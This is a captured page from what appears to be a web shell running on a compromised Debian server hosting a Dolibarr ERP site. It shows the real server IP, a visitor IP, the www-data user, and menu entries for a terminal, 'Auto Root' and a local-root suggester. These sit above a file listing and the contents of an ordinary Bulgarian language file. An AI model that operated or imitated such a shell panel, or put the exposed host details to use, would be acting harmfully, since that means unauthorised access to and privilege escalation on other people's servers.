Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
gmd.bdcloud.fr /
langs /
bg_BG /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
43.08
KB
-rw-r--r--
2022-09-27 16:06
admin.lang
248.62
KB
-rw-r--r--
2022-09-27 16:06
agenda.lang
12.71
KB
-rw-r--r--
2022-09-27 16:06
assets.lang
2.4
KB
-rw-r--r--
2022-09-27 16:06
banks.lang
12.61
KB
-rw-r--r--
2022-09-27 16:06
bills.lang
52.39
KB
-rw-r--r--
2022-09-27 16:06
blockedlog.lang
9.03
KB
-rw-r--r--
2022-09-27 16:06
bookmarks.lang
1.38
KB
-rw-r--r--
2022-09-27 16:06
boxes.lang
9.15
KB
-rw-r--r--
2022-09-27 16:06
cashdesk.lang
7.72
KB
-rw-r--r--
2022-09-27 16:06
categories.lang
7.1
KB
-rw-r--r--
2022-09-27 16:06
commercial.lang
5.18
KB
-rw-r--r--
2022-09-27 16:06
companies.lang
24.74
KB
-rw-r--r--
2022-09-27 16:06
compta.lang
25.26
KB
-rw-r--r--
2022-09-27 16:06
contracts.lang
7.42
KB
-rw-r--r--
2022-09-27 16:06
cron.lang
8.03
KB
-rw-r--r--
2022-09-27 16:06
deliveries.lang
2.04
KB
-rw-r--r--
2022-09-27 16:06
dict.lang
11.36
KB
-rw-r--r--
2022-09-27 16:06
donations.lang
1.96
KB
-rw-r--r--
2022-09-27 16:06
ecm.lang
4.18
KB
-rw-r--r--
2022-09-27 16:06
errors.lang
45.51
KB
-rw-r--r--
2022-09-27 16:06
eventorganization.lang
9.17
KB
-rw-r--r--
2022-09-27 16:06
exports.lang
17.27
KB
-rw-r--r--
2022-09-27 16:06
externalsite.lang
371
B
-rw-r--r--
2022-09-27 16:06
ftp.lang
1.26
KB
-rw-r--r--
2022-09-27 16:06
help.lang
1.96
KB
-rw-r--r--
2022-09-27 16:06
holiday.lang
9.67
KB
-rw-r--r--
2022-09-27 16:06
hrm.lang
3.02
KB
-rw-r--r--
2022-09-27 16:06
install.lang
31
KB
-rw-r--r--
2022-09-27 16:06
interventions.lang
6.09
KB
-rw-r--r--
2022-09-27 16:06
intracommreport.lang
1.38
KB
-rw-r--r--
2022-09-27 16:06
knowledgemanagement.lang
1.91
KB
-rw-r--r--
2022-09-27 16:06
languages.lang
4.2
KB
-rw-r--r--
2022-09-27 16:06
ldap.lang
2
KB
-rw-r--r--
2022-09-27 16:06
link.lang
776
B
-rw-r--r--
2022-09-27 16:06
loan.lang
1.98
KB
-rw-r--r--
2022-09-27 16:06
mailmanspip.lang
2.13
KB
-rw-r--r--
2022-09-27 16:06
mails.lang
15.96
KB
-rw-r--r--
2022-09-27 16:06
main.lang
51.91
KB
-rw-r--r--
2022-09-27 16:06
margins.lang
5.04
KB
-rw-r--r--
2022-09-27 16:06
members.lang
17.21
KB
-rw-r--r--
2022-09-27 16:06
modulebuilder.lang
20.31
KB
-rw-r--r--
2022-09-27 16:06
mrp.lang
9.12
KB
-rw-r--r--
2022-09-27 16:06
multicurrency.lang
2.61
KB
-rw-r--r--
2022-09-27 16:06
oauth.lang
3.02
KB
-rw-r--r--
2022-09-27 16:06
opensurvey.lang
5.7
KB
-rw-r--r--
2022-09-27 16:06
orders.lang
13.61
KB
-rw-r--r--
2022-09-27 16:06
other.lang
24.7
KB
-rw-r--r--
2022-09-27 16:06
partnership.lang
3.63
KB
-rw-r--r--
2022-09-27 16:06
paybox.lang
3.06
KB
-rw-r--r--
2022-09-27 16:06
paypal.lang
2.29
KB
-rw-r--r--
2022-09-27 16:06
printing.lang
3.62
KB
-rw-r--r--
2022-09-27 16:06
productbatch.lang
3.17
KB
-rw-r--r--
2022-09-27 16:06
products.lang
29.99
KB
-rw-r--r--
2022-09-27 16:06
projects.lang
24.74
KB
-rw-r--r--
2022-09-27 16:06
propal.lang
6.7
KB
-rw-r--r--
2022-09-27 16:06
receiptprinter.lang
4.54
KB
-rw-r--r--
2022-09-27 16:06
receptions.lang
4.1
KB
-rw-r--r--
2022-09-27 16:06
recruitment.lang
2.96
KB
-rw-r--r--
2022-09-27 16:06
resource.lang
1.75
KB
-rw-r--r--
2022-09-27 16:06
salaries.lang
2.33
KB
-rw-r--r--
2022-09-27 16:06
sendings.lang
4.8
KB
-rw-r--r--
2022-09-27 16:06
sms.lang
2.57
KB
-rw-r--r--
2022-09-27 16:06
stocks.lang
25.09
KB
-rw-r--r--
2022-09-27 16:06
stripe.lang
7.78
KB
-rw-r--r--
2022-09-27 16:06
supplier_proposal.lang
4.31
KB
-rw-r--r--
2022-09-27 16:06
suppliers.lang
3.33
KB
-rw-r--r--
2022-09-27 16:06
ticket.lang
24.37
KB
-rw-r--r--
2022-09-27 16:06
trips.lang
10.61
KB
-rw-r--r--
2022-09-27 16:06
users.lang
9.9
KB
-rw-r--r--
2022-09-27 16:06
website.lang
20.45
KB
-rw-r--r--
2022-09-27 16:06
withdrawals.lang
12.88
KB
-rw-r--r--
2022-09-27 16:06
workflow.lang
5.41
KB
-rw-r--r--
2022-09-27 16:06
zapier.lang
1.21
KB
-rw-r--r--
2022-09-27 16:06
Save
Rename
# Dolibarr language file - Source file is en_US - commercial Commercial=Търговия CommercialArea=Секция за търговия Customer=Клиент Customers=Клиенти Prospect=Потенциален клиент Prospects=Потенциални клиенти DeleteAction=Изтриване на събитие NewAction=Ново събитие AddAction=Създаване на събитие AddAnAction=Създаване на събитие AddActionRendezVous=Създаване на събитие - среща ConfirmDeleteAction=Сигурни ли сте, че искате да изтриете това събитие? CardAction=Карта ActionOnCompany=Свързан контрагент ActionOnContact=Свързан контакт TaskRDVWith=Среща с %s ShowTask=Показване на задача ShowAction=Показване на събитие ActionsReport=Справка за събития ThirdPartiesOfSaleRepresentative=Към контрагенти с търговски представител SaleRepresentativesOfThirdParty=Търговски представители за контрагента SalesRepresentative=Търговски представител SalesRepresentatives=Търговски представители SalesRepresentativeFollowUp=Търговски представител (проследяващ) SalesRepresentativeSignature=Търговски представител (подписващ) NoSalesRepresentativeAffected=Не е определен търговски представител ShowCustomer=Показване на клиент ShowProspect=Показване на потенциален клиент ListOfProspects=Списък на потенциални клиенти ListOfCustomers=Списък на клиенти LastDoneTasks=Действия: %s последно завършени LastActionsToDo=Действия: %s най-стари незавършени DoneAndToDoActions=Завършени и предстоящи събития DoneActions=Завършени събития ToDoActions=Незавършени събития SendPropalRef=Изпращане на търговско предложение %s SendOrderRef=Изпращане на поръчка %s StatusNotApplicable=Не се прилага StatusActionToDo=Да се направи StatusActionDone=Завършено StatusActionInProcess=В процес TasksHistoryForThisContact=Събития за този контакт LastProspectDoNotContact=Да не се контактува LastProspectNeverContacted=Не е контактувано LastProspectToContact=Да се контактува LastProspectContactInProcess=В процес на контактуване LastProspectContactDone=Осъществен контакт ActionAffectedTo=Събитие, възложено на ActionDoneBy=Събитие, извършено от ActionAC_TEL=Телефонно обаждане ActionAC_FAX=Изпращане на факс ActionAC_PROP=Изпращане на предложение по имейл ActionAC_EMAIL=Изпращане на имейл ActionAC_EMAIL_IN=Получаване на имейл ActionAC_RDV=Среща ActionAC_INT=Интервенция на място ActionAC_FAC=Изпращане на фактура за продажба по пощата ActionAC_REL=Изпращане на фактура за продажба по пощата (напомняне) ActionAC_CLO=Приключване ActionAC_EMAILING=Изпращане на масов имейл ActionAC_COM=Изпращане на поръчка за продажба по пощата ActionAC_SHIP=Изпращане на пратка по пощата ActionAC_SUP_ORD=Изпращане на поръчка за покупка по пощата ActionAC_SUP_INV=Изпращане на фактура за доставка по пощата ActionAC_OTH=Друго ActionAC_OTH_AUTO=Автоматично добавени ActionAC_MANUAL=Ръчно добавени ActionAC_AUTO=Автоматично добавени ActionAC_OTH_AUTOShort=Автоматично Stats=Статистика от продажби StatusProsp=Статус на потенциален клиент DraftPropals=Чернови търговски предложения NoLimit=Няма лимит ToOfferALinkForOnlineSignature=Връзка за онлайн подпис WelcomeOnOnlineSignaturePage=Добре дошли на страницата за приемане на търговски предложения от %s ThisScreenAllowsYouToSignDocFrom=Този екран позволява да приемете и подпишете или да отхвърлите оферта / търговско предложение ThisIsInformationOnDocumentToSign=Това е информация за документа, който да приемете или отхвърлите. SignatureProposalRef=Подписване на оферта / търговско предложение %s FeatureOnlineSignDisabled=Функцията за онлайн подписване е деактивирана или документът е генериран преди активирането на функцията